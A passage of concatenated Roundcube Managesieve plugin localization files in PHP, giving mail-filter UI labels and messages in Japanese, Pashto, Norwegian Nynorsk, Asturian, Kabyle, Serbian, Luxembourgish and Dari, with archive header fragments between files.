 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'フィルター';
$labels['managefilters'] = '受信メールのフィルターを管理';
$labels['filtername'] = 'フィルター名';
$labels['newfilter'] = '新しいフィルター';
$labels['filteradd'] = 'フィルターを追加';
$labels['filterdel'] = 'フィルターを削除';
$labels['rules'] = '規則';
$labels['actions'] = '操作';
$labels['scope'] = 'スコープ';
$labels['moveup'] = '上に移動';
$labels['movedown'] = '下に移動';
$labels['filterallof'] = '次の規則のすべてに一致';
$labels['filteranyof'] = '次の規則のいずれかに一致';
$labels['filterany'] = 'すべてのメッセージ';
$labels['filtercontains'] = '含む';
$labels['filternotcontains'] = '含まない';
$labels['filteris'] = '次に等しい';
$labels['filterisnot'] = '次に等しくない';
$labels['filterexists'] = 'が存在';
$labels['filternotexists'] = 'が存在しない';
$labels['filtermatches'] = '次の式に一致';
$labels['filternotmatches'] = '次の式に一致しない';
$labels['filterregex'] = '次の正規表現に一致';
$labels['filternotregex'] = '次の正規表現に一致しない';
$labels['filterunder'] = 'より下';
$labels['filterover'] = 'より上';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIMEのパート:';
$labels['mime-message'] = 'メッセージ';
$labels['mime-anychild'] = '任意';
$labels['mime-type'] = 'タイプ';
$labels['mime-subtype'] = 'サブタイプ';
$labels['mime-contenttype'] = 'コンテントタイプ';
$labels['mime-param'] = 'パラメーター';
$labels['addrule'] = '規則を追加';
$labels['delrule'] = '規則を削除';
$labels['messagemoveto'] = '次にメッセージを移動';
$labels['messageredirect'] = '次のメールアドレスに転送';
$labels['messagecopyto'] = '次にメッセージをコピー';
$labels['messagesendcopy'] = '次にメッセージのコピーを送信';
$labels['messagereply'] = 'メッセージを返信';
$labels['messagedelete'] = 'メッセージを削除';
$labels['messagediscard'] = 'メッセージを破棄';
$labels['messagekeep'] = 'メッセージを受信箱に保持';
$labels['messagesrules'] = '受信したメールの処理:';
$labels['messagesactions'] = '以下の操作を実行:';
$labels['add'] = '追加';
$labels['del'] = '削除';
$labels['sender'] = '送信者';
$labels['recipient'] = '宛先';
$labels['vacationaddr'] = '私の電子メールアドレス:';
$labels['vacationdays'] = 'メッセージを(1日に)送信する頻度:';
$labels['vacationinterval'] = 'メッセージを送信する頻度:';
$labels['vacationreason'] = 'メッセージ本体(休暇の理由):';
$labels['vacationfrom'] = '返信する送信者のアドレス:';
$labels['vacationsubject'] = 'メッセージの件名:';
$labels['days'] = '日';
$labels['seconds'] = '秒';
$labels['rulestop'] = '規則の評価を停止';
$labels['enable'] = '有効/無効';
$labels['filterset'] = 'フィルターセット';
$labels['filtersets'] = 'フィルターセット';
$labels['filtersetadd'] = 'フィルターセットを追加';
$labels['filtersetdel'] = 'フィルターセットを削除';
$labels['filtersetact'] = '現在のフィルターセットを有効化';
$labels['filtersetdeact'] = '現在のフィルターセットを無効化';
$labels['filterseteditraw'] = 'フィルターセットを編集';
$labels['filtersetswitch'] = 'フィルターセットを有効・無効';
$labels['filterdef'] = 'フィルターの定義';
$labels['filtersetname'] = 'フィルターセットの名前';
$labels['newfilterset'] = '新しいフィルターセット';
$labels['active'] = '有効';
$labels['none'] = 'なし';
$labels['fromset'] = 'セットから';
$labels['fromfile'] = 'ファイルから';
$labels['filterdisabled'] = 'フィルターは無効';
$labels['filterenabled'] = 'フィルターは有効';
$labels['countisgreaterthan'] = 'より大きい回数';
$labels['countisgreaterthanequal'] = '以上の回数';
$labels['countislessthan'] = '未満の回数';
$labels['countislessthanequal'] = '以下の回数';
$labels['countequals'] = '次と等しい回数';
$labels['countnotequals'] = '次と等しくない回数';
$labels['valueisgreaterthan'] = 'より大きい値';
$labels['valueisgreaterthanequal'] = '以上の値';
$labels['valueislessthan'] = '未満の値';
$labels['valueislessthanequal'] = '以下の値';
$labels['valueequals'] = '次と等しい値';
$labels['valuenotequals'] = '次と等しくない値';
$labels['setflags'] = 'メッセージにフラグを設定';
$labels['addflags'] = 'メッセージにフラグを追加';
$labels['removeflags'] = 'メッセージからフラグを削除';
$labels['flagread'] = '既読';
$labels['flagdeleted'] = '削除済み';
$labels['flaganswered'] = '返信済み';
$labels['flagflagged'] = 'フラグ付き';
$labels['flagdraft'] = '下書き';
$labels['addheader'] = 'メッセージにヘッダーを追加';
$labels['deleteheader'] = 'メッセージからヘッダーを削除';
$labels['headername'] = 'ヘッダーの名前';
$labels['headervalue'] = 'ヘッダーの値';
$labels['headerpos'] = 'ヘッダーの位置';
$labels['headeratstart'] = '最初';
$labels['headeratend'] = '最後';
$labels['headeroccurrence'] = 'ヘッダーの存在・位置';
$labels['headerfromstart'] = '開始';
$labels['headerfromend'] = '終了';
$labels['headerpatterns'] = 'ヘッダーの値のパターン';
$labels['headermatchtype'] = '一致タイプ:';
$labels['setvariable'] = '変数を設定';
$labels['setvarname'] = '変数の名前:';
$labels['setvarvalue'] = '変数の値:';
$labels['setvarmodifiers'] = '修飾子:';
$labels['varlower'] = '小文字';
$labels['varupper'] = '大文字';
$labels['varlowerfirst'] = '最初の文字を小文字';
$labels['varupperfirst'] = '最初の文字を大文字';
$labels['varquotewildcard'] = '特殊文字を引用処理';
$labels['varlength'] = '長さ';
$labels['varencodeurl'] = '(URLを)パーセント・エンコード';
$labels['notify'] = '通知を送信';
$labels['notifytarget'] = '通知の対象:';
$labels['notifymessage'] = '通知のメッセージ(任意):';
$labels['notifyoptions'] = '通知のオプション(任意):';
$labels['notifyfrom'] = '通知の送信者(任意):';
$labels['notifyimportance'] = '重要度:';
$labels['notifyimportancelow'] = '低';
$labels['notifyimportancenormal'] = '通常';
$labels['notifyimportancehigh'] = '高';
$labels['notifymethodmailto'] = '電子メール';
$labels['notifymethodtel'] = '電話';
$labels['notifymethodsms'] = 'ショートメッセージ';
$labels['filtercreate'] = 'フィルターを作成';
$labels['usedata'] = 'フィルターで次のデータを使用';
$labels['nextstep'] = '次の段階';
$labels['...'] = '...';
$labels['string'] = '文字列';
$labels['currdate'] = '現在の日付';
$labels['datetest'] = '日付';
$labels['dateheader'] = 'ヘッダー:';
$labels['year'] = '年';
$labels['month'] = '月';
$labels['day'] = '日';
$labels['date'] = '日付(年-月-日)';
$labels['julian'] = '日付(ユリウス歴)';
$labels['hour'] = '時';
$labels['minute'] = '分';
$labels['second'] = '秒';
$labels['time'] = '時刻 (時:分:秒)';
$labels['iso8601'] = '日付(ISO8601)';
$labels['std11'] = '日付(RFC2822)';
$labels['zone'] = 'タイムゾーン';
$labels['weekday'] = '平日(0-6)';
$labels['advancedopts'] = '高度なオプション';
$labels['body'] = '本文';
$labels['address'] = 'メールアドレス';
$labels['envelope'] = 'エンベロープ';
$labels['modifier'] = '修正:';
$labels['text'] = 'テキスト';
$labels['undecoded'] = '未デコード(そのまま)';
$labels['contenttype'] = 'コンテント・タイプ';
$labels['modtype'] = '種類:';
$labels['allparts'] = 'すべて';
$labels['domain'] = 'ドメイン';
$labels['localpart'] = 'ローカルパート';
$labels['user'] = 'ユーザー';
$labels['detail'] = '詳細';
$labels['comparator'] = '比較器:';
$labels['default'] = '初期値';
$labels['octet'] = '厳密(オクテット)';
$labels['asciicasemap'] = '大文字小文字を区別しない(ascii-casemap)';
$labels['asciinumeric'] = '数値(ascii-numeric)';
$labels['index'] = 'インデックス:';
$labels['indexlast'] = '後方';
$labels['spamtest'] = 'SPAMのレベル';
$labels['spamtestisgreaterthan'] = 'より大きい';
$labels['spamtestisgreaterthanequal'] = '以上';
$labels['spamtestislessthan'] = 'より小さい';
$labels['spamtestislessthanequal'] = '以下';
$labels['spamtestequals'] = '次に等しい';
$labels['spamtestnotequals'] = '次に等しくない';
$labels['spamtestisunknown'] = '不明';
$labels['vacation'] = '事務所に不在';
$labels['vacation.reply'] = '返信のメッセージ';
$labels['vacation.advanced'] = '詳細な設定';
$labels['vacation.from'] = '送信者のアドレスに返信';
$labels['vacation.subject'] = '件名';
$labels['vacation.body'] = '本文';
$labels['vacation.start'] = '開始時刻';
$labels['vacation.end'] = '終了時刻';
$labels['vacation.status'] = '状態';
$labels['vacation.on'] = 'オン';
$labels['vacation.off'] = 'オフ';
$labels['vacation.addresses'] = '私の電子メールアドレス';
$labels['vacation.interval'] = '返信の間隔';
$labels['vacation.after'] = '事務所不在のルールを後に配置';
$labels['vacation.saving'] = 'データを保存中...';
$labels['vacation.action'] = '届いたメッセージの操作';
$labels['vacation.keep'] = '保持';
$labels['vacation.discard'] = '破棄';
$labels['vacation.redirect'] = '次のメールアドレスに転送';
$labels['vacation.copy'] = '次にメッセージを送信';
$labels['forward'] = '転送';
$labels['forward.redirect'] = '次のメールアドレスに転送';
$labels['forward.copy'] = '次にメッセージを送信';
$labels['forward.on'] = 'オン';
$labels['forward.off'] = 'オフ';
$labels['forward.status'] = '状態:';
$labels['forward.action'] = '到着したメールに以下の操作を実行:';
$labels['forward.saving'] = 'データを保存中...';
$labels['filladdresses'] = 'すべてのアドレスで満たす';
$labels['arialabelfiltersetactions'] = 'フィルターセットの動作';
$labels['arialabelfilteractions'] = 'フィルターの動作';
$labels['arialabelfilterform'] = 'フィルターの特性';
$labels['ariasummaryfilterslist'] = 'フィルターの一覧';
$labels['ariasummaryfiltersetslist'] = 'フィルターセットの一覧';
$labels['filterstitle'] = '届いたメールのフィルターを編集';
$labels['vacationtitle'] = '勤務時間外の規則を編集';
$labels['forwardtitle'] = 'メールの転送の規則を編集';
$labels['message'] = 'メッセージ';
$labels['duplicate'] = 'は重複';
$labels['notduplicate'] = 'は非重複';
$labels['duplicate.handle'] = 'ハンドル:';
$labels['duplicate.header'] = 'ヘッダー:';
$labels['duplicate.uniqueid'] = '識別子:';
$labels['duplicate.seconds'] = '時間切れ(秒):';
$labels['duplicate.last'] = '最後の実行から相対的';
$messages['filterunknownerror'] = '不明なサーバーのエラーです。';
$messages['filterconnerror'] = 'サーバに接続できません。';
$messages['filterdeleteerror'] = 'フィルターを削除できません。サーバーでエラーが発生しました。';
$messages['filterdeleted'] = 'フィルターを削除しました。';
$messages['filtersaved'] = 'フィルターを保存しました。';
$messages['filtersaveerror'] = 'フィルターの保存できません。サーバーでエラーが発生しました。';
$messages['filterformerror'] = 'フィルターのフォームにエラーがあります。';
$messages['filterdeleteconfirm'] = '本当に選択したフィルターを削除しますか?';
$messages['ruledeleteconfirm'] = '本当に選択した規則を削除しますか?';
$messages['actiondeleteconfirm'] = '本当に選択した動作を削除しますか?';
$messages['forbiddenchars'] = '項目に禁止している文字が含まれています。';
$messages['cannotbeempty'] = '項目は空欄にできません。';
$messages['ruleexist'] = '指定した名前のフィルターが既に存在します。';
$messages['setactivateerror'] = '選択したフィルターセットを有効にできませんでした。サーバーでエラーが発生しました。';
$messages['setdeactivateerror'] = '選択したフィルターセットを無効にできませんでした。サーバーでエラーが発生しました。';
$messages['setdeleteerror'] = '選択したフィルターセットを削除できませんでした。サーバーでエラーが発生しました。';
$messages['setactivated'] = 'フィルターセットを有効にしました。';
$messages['setdeactivated'] = 'フィルターセットを無効にしました。';
$messages['setdeleted'] = 'フィルターセットを削除しました。';
$messages['setupdated'] = 'フィルターセットを更新しました。';
$messages['setdeleteconfirm'] = '本当に削除したフィルターセットを削除しますか?';
$messages['setcreateerror'] = 'フィルターセットを作成できませんでした。サーバーでエラーが発生しました。';
$messages['setcreated'] = 'フィルターセットを作成しました。';
$messages['activateerror'] = '選択したフィルターを有効にできません。サーバーでエラーが発生しました。';
$messages['deactivateerror'] = '選択したフィルターを無効にできません。サーバーでエラーが発生しました。';
$messages['deactivated'] = 'フィルターを無効にしました。';
$messages['activated'] = 'フィルターを有効にしました。';
$messages['moved'] = 'フィルターを移動しました。';
$messages['moveerror'] = '選択したフィルターを移動できません。サーバーでエラーが発生しました。';
$messages['nametoolong'] = '名前が長すぎます。';
$messages['namereserved'] = '予約されている名前です。';
$messages['setexist'] = 'フィルターセットが既に存在します。';
$messages['nodata'] = '少なくとも場所を1つ選択しなければなりません!';
$messages['invaliddateformat'] = '無効な日付または日付部分の書式';
$messages['saveerror'] = 'フィルターの保存できません。サーバーでエラーが発生しました。';
$messages['vacationsaved'] = '事務所不在のデータを保存しました。';
$messages['forwardsaved'] = '転送のデータを保存しました。';
$messages['emptyvacationbody'] = '休暇のメッセージの本文が必要です!';
$messages['duplicate.conflict.err'] = 'ヘッダーと一意な識別子の両方は同時に使用できません。';
$messages['disabledaction'] = '許可されていない動作です。';
$messages['lastindexempty'] = '最後から数える時はインデックスが必要';
$messages['noflagset'] = '少なくともフラッグを1つ選択しなければなりません。';
PKh�\, B�VV'plugins/managesieve/localization/ps.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['messagedelete'] = 'استوزه ړنګول';
$labels['del'] = 'ړنګول';
$labels['flagflagged'] = 'بې کاره';
$labels['notifymethodmailto'] = 'برېښناليک';
$labels['datetest'] = 'نېټه';
$labels['advancedopts'] = 'پرمختللي لارې';
$labels['vacation.subject'] = 'مضمون';
PKh�\E�̝ee*plugins/managesieve/localization/nn_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filter';
$labels['managefilters'] = 'Rediger filter for innkommande e-post';
$labels['filtername'] = 'Filternamn';
$labels['newfilter'] = 'Nytt filter';
$labels['filteradd'] = 'Legg til filter';
$labels['filterdel'] = 'Slett filter';
$labels['moveup'] = 'Flytt opp';
$labels['movedown'] = 'Flytt ned';
$labels['filterallof'] = 'som treffer alle følgjande regler';
$labels['filteranyof'] = 'som treffer ein av følgjande regler';
$labels['filterany'] = 'alle meldingar';
$labels['filtercontains'] = 'inneheld';
$labels['filternotcontains'] = 'ikkje inneheld';
$labels['filteris'] = 'er lik';
$labels['filterisnot'] = 'er ikkje lik';
$labels['filterexists'] = 'eksisterer';
$labels['filternotexists'] = 'ikkje eksisterer';
$labels['filtermatches'] = 'treffer uttrykk';
$labels['filternotmatches'] = 'ikkje treffer uttrykk';
$labels['filterregex'] = 'treffer regulært uttrykk';
$labels['filternotregex'] = 'ikkje treffer regulært uttrykk';
$labels['filterunder'] = 'under';
$labels['filterover'] = 'over';
$labels['addrule'] = 'Legg til regel';
$labels['delrule'] = 'Slett regel';
$labels['messagemoveto'] = 'Flytt meldinga til';
$labels['messageredirect'] = 'Vidaresend meldinga til';
$labels['messagecopyto'] = 'Kopier meldinga til';
$labels['messagesendcopy'] = 'Send ein kopi av meldinga til';
$labels['messagereply'] = 'Svar med melding';
$labels['messagedelete'] = 'Slett melding';
$labels['messagediscard'] = 'Avvis med melding';
$labels['messagesrules'] = 'For innkommande e-post';
$labels['messagesactions'] = '…gjer følgjande:';
$labels['add'] = 'Legg til';
$labels['del'] = 'Slett';
$labels['sender'] = 'Avsendar';
$labels['recipient'] = 'Mottakar';
$labels['vacationdays'] = 'Periode mellom meldingar (i dagar):';
$labels['vacationreason'] = 'Innhald (grunngjeving for fråvær)';
$labels['vacationsubject'] = 'Meldingsemne:';
$labels['rulestop'] = 'Stopp evaluering av regler';
$labels['enable'] = 'Aktiver/Deaktiver';
$labels['filtersets'] = 'Filtersett';
$labels['filterdef'] = 'Filterdefinisjon';
$labels['active'] = 'aktiv';
$labels['none'] = 'ingen';
$labels['fromset'] = 'frå sett';
$labels['fromfile'] = 'frå fil';
$labels['filterdisabled'] = 'Filter deaktivert';
$labels['countisgreaterthan'] = 'mengd er fleire enn';
$labels['countisgreaterthanequal'] = 'mengd er fleire enn eller lik';
$labels['countislessthan'] = 'mengd er færre enn';
$labels['countislessthanequal'] = 'mengd er færre enn eller lik';
$labels['countequals'] = 'mengd er lik';
$labels['valueisgreaterthan'] = 'verdien er høgare enn';
$labels['valueisgreaterthanequal'] = 'verdien er høgare eller lik';
$labels['valueislessthan'] = 'verdien er lågare enn';
$labels['valueislessthanequal'] = 'verdien er lågare eller lik';
$labels['valueequals'] = 'verdien er lik';
$labels['setflags'] = 'Sett meldingsflagg';
$labels['addflags'] = 'Legg til flagg på meldinga';
$labels['removeflags'] = 'Fjern flagg fra meldinga';
$labels['flagread'] = 'Lese';
$labels['flagdeleted'] = 'Sletta';
$labels['flaganswered'] = 'Svart på';
$labels['flagflagged'] = 'Flagga';
$labels['flagdraft'] = 'Skisse';
$labels['setvariable'] = 'Sett variabel:';
$labels['setvarname'] = 'Variabelnamn:';
$labels['setvarvalue'] = 'Variabelverdi:';
$labels['setvarmodifiers'] = 'Modifikator:';
$labels['varlower'] = 'med små bokstavar';
$labels['varupper'] = 'med store bokstavar';
$labels['varlowerfirst'] = 'med liten forbokstav';
$labels['varupperfirst'] = 'med stor forbokstav';
$labels['varlength'] = 'lengde';
$labels['notify'] = 'Send varsel';
$labels['notifyimportance'] = 'Betyding:';
$labels['notifyimportancelow'] = 'låg';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'høg';
$labels['notifymethodmailto'] = 'E-post';
$labels['notifymethodtel'] = 'Telefon';
$labels['filtercreate'] = 'Opprett filter';
$labels['usedata'] = 'Bruk følgande data i filteret:';
$labels['nextstep'] = 'Neste steg';
$labels['...'] = '…';
$labels['datetest'] = 'Dato';
$labels['advancedopts'] = 'Avanserte val';
$labels['body'] = 'Meldingstekst';
$labels['address'] = 'adresse';
$labels['envelope'] = 'konvolutt';
$labels['modifier'] = 'modifikator:';
$labels['text'] = 'tekst';
$labels['undecoded'] = 'ikkje dekoda (rå)';
$labels['contenttype'] = 'innhaldstype';
$labels['modtype'] = 'type:';
$labels['allparts'] = 'alle';
$labels['domain'] = 'domene';
$labels['localpart'] = 'lokal del (local part)';
$labels['user'] = 'brukar';
$labels['detail'] = 'detalj';
$labels['comparator'] = 'samanlikning:';
$labels['default'] = 'standard';
$labels['octet'] = 'streng (oktett)';
$labels['asciicasemap'] = 'ikkje skil mellom store og små bokstavar (ascii-casemap)';
$labels['asciinumeric'] = 'numerisk (ascii-numeric)';
$labels['spamtestequals'] = 'er lik';
$labels['spamtestnotequals'] = 'er ikkje lik';
$labels['vacation.subject'] = 'Emne';
$labels['vacation.body'] = 'Meldingstekst';
$labels['vacation.keep'] = 'Behald';
$messages['filterunknownerror'] = 'Ukjent problem med tenar.';
$messages['filterconnerror'] = 'Kunne ikkje kople til tenaren.';
$messages['filterdeleted'] = 'Filteret er blitt sletta.';
$messages['filtersaved'] = 'Filteret er blitt lagra.';
$messages['filterdeleteconfirm'] = 'Vil du verkeleg slette det valde filteret?';
$messages['ruledeleteconfirm'] = 'Er du sikker på at du vil slette vald regel?';
$messages['actiondeleteconfirm'] = 'Er du sikker på at du vil slette vald hending?';
$messages['forbiddenchars'] = 'Ugyldige teikn i felt.';
$messages['cannotbeempty'] = 'Feltet kan ikkje stå tomt.';
$messages['ruleexist'] = 'Det finst alt eit filter med dette namnet.';
$messages['deactivated'] = 'Filter skrudd på.';
$messages['activated'] = 'Filter skrudd av.';
$messages['moved'] = 'Filter vart flytta.';
$messages['nametoolong'] = 'Namnet er for langt.';
$messages['namereserved'] = 'Namnet er reservert.';
$messages['setexist'] = 'Settet eksisterer alt.';
$messages['nodata'] = 'Du må velje minst éin posisjon!';
PKh�\K�YZ
Z
(plugins/managesieve/localization/ast.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtros';
$labels['managefilters'] = 'Alministrar filtros de corréu entrante';
$labels['filtername'] = 'Nome del filtru';
$labels['newfilter'] = 'Filtru nuevu';
$labels['filteradd'] = 'Amestar filtru';
$labels['filterdel'] = 'Desaniciar filtru';
$labels['scope'] = 'Algame';
$labels['moveup'] = 'Mover arriba';
$labels['movedown'] = 'Mover abaxo';
$labels['filterany'] = 'tolos mensaxes';
$labels['filtercontains'] = 'contien';
$labels['filternotcontains'] = 'nun contien';
$labels['filteris'] = 'ye igual a';
$labels['filterisnot'] = 'nun ye igual a';
$labels['filterexists'] = 'esiste';
$labels['filternotexists'] = 'nun esiste';
$labels['filtermatches'] = 'espresiones que concasen';
$labels['filternotmatches'] = 'espresiones que nun concasen';
$labels['addrule'] = 'Amestar regla';
$labels['delrule'] = 'Desaniciar regla';
$labels['messagemoveto'] = 'Mover mensaxe a';
$labels['messageredirect'] = 'Redireicionar mensaxe a';
$labels['messagecopyto'] = 'Copiar mensaxe a';
$labels['messagedelete'] = 'Desaniciar mensaxe';
$labels['messagesrules'] = 'Pa corréu entrante:';
$labels['messagesactions'] = '...executar les aiciones siguientes:';
$labels['add'] = 'Amestar';
$labels['del'] = 'Desaniciar';
$labels['sender'] = 'Remitente';
$labels['enable'] = 'Habilitar/Deshabilitar';
$labels['flagread'] = 'Lleer';
$labels['flagdeleted'] = 'Desaniciáu';
$labels['flaganswered'] = 'Respondíu';
$labels['flagflagged'] = 'Etiquetaos';
$labels['notifymethodmailto'] = 'Corréu';
$labels['notifymethodtel'] = 'Teléfonu';
$labels['datetest'] = 'Data';
$labels['advancedopts'] = 'Opciones avanzaes';
$labels['body'] = 'Cuerpu';
$labels['spamtestequals'] = 'ye igual a';
$labels['spamtestnotequals'] = 'nun ye igual a';
$labels['vacation.subject'] = 'Asuntu';
$labels['vacation.body'] = 'Cuerpu';
$labels['vacation.keep'] = 'Caltener';
PKh�\���UU(plugins/managesieve/localization/kab.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['del'] = 'Kkes';
$labels['flagread'] = 'Ɣeṛ';
PKh�\��P�ff*plugins/managesieve/localization/sr_CS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Филтери';
$labels['managefilters'] = 'Управљај филтерима долазне поште';
$labels['filtername'] = 'Назив филтера';
$labels['newfilter'] = 'Нови филтер';
$labels['filteradd'] = 'Додај филтер';
$labels['filterdel'] = 'Обриши филтер';
$labels['actions'] = 'Радње';
$labels['scope'] = 'Распон';
$labels['moveup'] = 'Помери горе';
$labels['movedown'] = 'Помери доле';
$labels['filterallof'] = 'поклопи сва ова правила';
$labels['filteranyof'] = 'поклопи било које од ових правила';
$labels['filterany'] = 'све поруке';
$labels['filtercontains'] = 'садржи';
$labels['filternotcontains'] = 'не садржи';
$labels['filteris'] = 'је једнак';
$labels['filterisnot'] = 'није једнак';
$labels['filterexists'] = 'постоји';
$labels['filternotexists'] = 'не постоји';
$labels['filtermatches'] = 'поклапа израз';
$labels['filternotmatches'] = 'не поклапа израз';
$labels['filterregex'] = 'поклапа регуларни израз';
$labels['filternotregex'] = 'не поклапа регуларни израз';
$labels['filterunder'] = 'испод';
$labels['filterover'] = 'преко';
$labels['addrule'] = 'Додај правило';
$labels['delrule'] = 'Обриши правило';
$labels['messagemoveto'] = 'Премести поруку у';
$labels['messageredirect'] = 'Преусмери поруку у';
$labels['messagecopyto'] = 'Копирај поруку у';
$labels['messagesendcopy'] = 'Пошаљи копију поруке за';
$labels['messagereply'] = 'Одговори поруком';
$labels['messagedelete'] = 'Обриши поруку';
$labels['messagediscard'] = 'Одбаци поруком';
$labels['messagekeep'] = 'Задржи поруку у примљеним';
$labels['messagesrules'] = 'За долазну пошту:';
$labels['add'] = 'Додај';
$labels['del'] = 'Обриши';
$labels['sender'] = 'Пошиљалац';
$labels['flagread'] = 'Читање';
$labels['flagdeleted'] = 'Обрисано';
$labels['flagflagged'] = 'Обележено';
$labels['notifymethodmailto'] = 'Е-пошта';
$labels['notifymethodtel'] = 'Телефон';
$labels['datetest'] = 'Датум';
$labels['advancedopts'] = 'Напредне опције';
$labels['body'] = 'Тело';
$labels['spamtestequals'] = 'је једнак';
$labels['spamtestnotequals'] = 'није једнак';
$labels['vacation.subject'] = 'Наслов';
$labels['vacation.body'] = 'Тело';
$labels['vacation.keep'] = 'Задржи';
$messages['filterunknownerror'] = 'Непозната грешка сервера.';
$messages['filterconnerror'] = 'Не могу да се повежем на сервер.';
PKh�\t	��
�
*plugins/managesieve/localization/lb_LU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filteren';
$labels['managefilters'] = 'Filtere geréieren fir Mailen déi erakommen';
$labels['filtername'] = 'Numm vum Filter';
$labels['newfilter'] = 'Neie Filter';
$labels['filteradd'] = 'Filter dobäisetzen';
$labels['filterdel'] = 'Filter läschen';
$labels['scope'] = 'Ëmfang';
$labels['moveup'] = 'Eropréckelen';
$labels['movedown'] = 'Erofréckelen';
$labels['filterallof'] = 'all dës Reegele mussen zoutreffen';
$labels['filteranyof'] = 'just eng vun de Reegele muss zoutreffen';
$labels['filterany'] = 'all d\'Messagen';
$labels['filtercontains'] = 'enthält';
$labels['filternotcontains'] = 'enthält net';
$labels['filteris'] = 'ass gläich';
$labels['filterisnot'] = 'ass net gläich';
$labels['filterexists'] = 'existéiert';
$labels['filternotexists'] = 'existéiert net';
$labels['filterunder'] = 'ënner';
$labels['filterover'] = 'iwwer';
$labels['addrule'] = 'Reegel dobäisetzen';
$labels['delrule'] = 'Reegel läschen';
$labels['messagemoveto'] = 'Message verréckelen an';
$labels['messageredirect'] = 'Message ëmleeden an';
$labels['messagecopyto'] = 'Message kopéieren an';
$labels['messagesendcopy'] = 'Kopie vum Message schécken un';
$labels['messagereply'] = 'Mat dësem Message äntweren';
$labels['messagedelete'] = 'Message läschen';
$labels['add'] = 'Dobäisetzen';
$labels['del'] = 'Läschen';
$labels['sender'] = 'Ofsender';
$labels['recipient'] = 'Empfänger';
$labels['flagread'] = 'Gelies';
$labels['flagdeleted'] = 'Geläscht';
$labels['flagflagged'] = 'Mat Fändel';
$labels['notifymethodmailto'] = 'E-Mail';
$labels['notifymethodtel'] = 'Telefon';
$labels['datetest'] = 'Datum';
$labels['advancedopts'] = 'Avancéiert Optiounen';
$labels['body'] = 'Kierper';
$labels['spamtestequals'] = 'ass gläich';
$labels['spamtestnotequals'] = 'ass net gläich';
$labels['vacation.subject'] = 'Sujet';
$labels['vacation.body'] = 'Kierper';
$labels['vacation.keep'] = 'Halen';
PKh�\�%��]]*plugins/managesieve/localization/fa_AF.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'فیلترها';
$labels['filtername'] = 'نام فیلتر';
$labels['newfilter'] = 'فیلتر جدید';
$labels['filteranyof'] = 'تطبیق با هر کدام از رول های زیر';
$labels['filterany'] = 'تمام پیام ها';
$labels['filtercontains'] = 'شامل';
$labels['filteris'] = 'مساوی با';
$labels['filterunder'] = 'زیر';
$labels['filterover'] = 'بالای';
$labels['addrule'] = 'افزودن نقش';
$labels['delrule'] = 'حذف نقش';
$labels['messagereply'] = 'پاسخ توسط پیام';
$labels['messagedelete'] = 'حذف پیام';
$labels['add'] = 'افزودن';
$labels['del'] = 'حذف';
$labels['sender'] = 'فرستنده';
$labels['recipient'] = 'گیرنده';
$labels['days'] = 'روز';
$labels['filtersets'] = 'مجموعه فیلتر';
$labels['filterdef'] = 'تعریف فیلتر';
$labels['active'] = 'فعال';
$labels['none'] = 'هیچ کدام';
$labels['flagread'] = 'خواندن';
$labels['flagdeleted'] = 'حذف شد';
